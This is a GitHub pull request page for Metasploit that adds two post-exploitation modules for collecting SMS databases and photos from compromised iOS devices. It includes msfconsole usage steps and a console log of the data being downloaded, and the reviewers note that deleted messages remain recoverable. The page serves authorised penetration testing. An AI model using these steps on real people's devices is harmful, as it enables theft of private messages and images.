New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add post modules for collecting iOS images and texts #10901

Merged
merged 8 commits into from Nov 2, 2018

Conversation

Projects
None yet
6 participants
@space-r7
Contributor

space-r7 commented Nov 2, 2018

This adds two Post modules that collect images and text messages from iOS devices.

Verification

For ios_text_gather:

  • Start msfconsole
  • Get a session
  • use post/apple_ios/gather/ios_text_gather
  • set SESSION <session>
  • run
  • You should get the sms.db file on the iPhone target

For ios_image_gather:

  • Start msfconsole
  • Get a session
  • use post/apple_ios/gather/ios_image_gather
  • set SESSION <session>
  • run
  • You should get images from the iPhone target.

space-r7 added some commits Oct 29, 2018

@timwr

This comment has been minimized.

Contributor

timwr commented Nov 2, 2018

Excellent work. I'll test and land this asap. Last time I checked even the deleted SMS messages were still present in the db. Maybe later we can think about parsing the sqlite db, but that's beyond the scope of this pr.

jrobles-r7 added a commit that referenced this pull request Nov 2, 2018

msjenkins-r7 added a commit that referenced this pull request Nov 2, 2018

@wchen-r7

This comment has been minimized.

Contributor

wchen-r7 commented Nov 2, 2018

Last time I checked even the deleted SMS messages were still present in the db. Maybe later we can think about parsing the sqlite db, but that's beyond the scope of this pr.

Nice! Yup, I agree.

@msjenkins-r7 msjenkins-r7 merged commit 0d8c8da into rapid7:master Nov 2, 2018

2 of 3 checks passed

continuous-integration/travis-ci/pr The Travis CI build is in progress
Details
Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
@jrobles-r7

This comment has been minimized.

Contributor

jrobles-r7 commented Nov 2, 2018

msf5 post(apple_ios/gather/ios_image_gather) > run

[!] SESSION may not be compatible with this module.
[+] Image path found. Will begin searching for images...
[*] Directory for iOS images: /home/msfdev/.msf4/loot/EDHtLN
[*] Downloading image: IMG_0001.JPG
[*] Downloading image: IMG_0002.JPG
[*] Downloading image: IMG_0003.JPG
[*] Post module execution completed
msf5 post(apple_ios/gather/ios_image_gather) > use post/apple_ios/gather/ios_text_gather
msf5 post(apple_ios/gather/ios_text_gather) > options

Module options (post/apple_ios/gather/ios_text_gather):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf5 post(apple_ios/gather/ios_text_gather) > set session 1
session => 1
msf5 post(apple_ios/gather/ios_text_gather) > run

[!] SESSION may not be compatible with this module.
[+] sms.db file found
[+] sms.db stored at /home/msfdev/.msf4/loot/20181102134500_default_192.168.43.49_sms.db.file_295440.txt
[*] Post module execution completed
@jrobles-r7

This comment has been minimized.

Contributor

jrobles-r7 commented Nov 2, 2018

Release Notes

This PR adds post modules for collecting images and texts from iOS devices.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment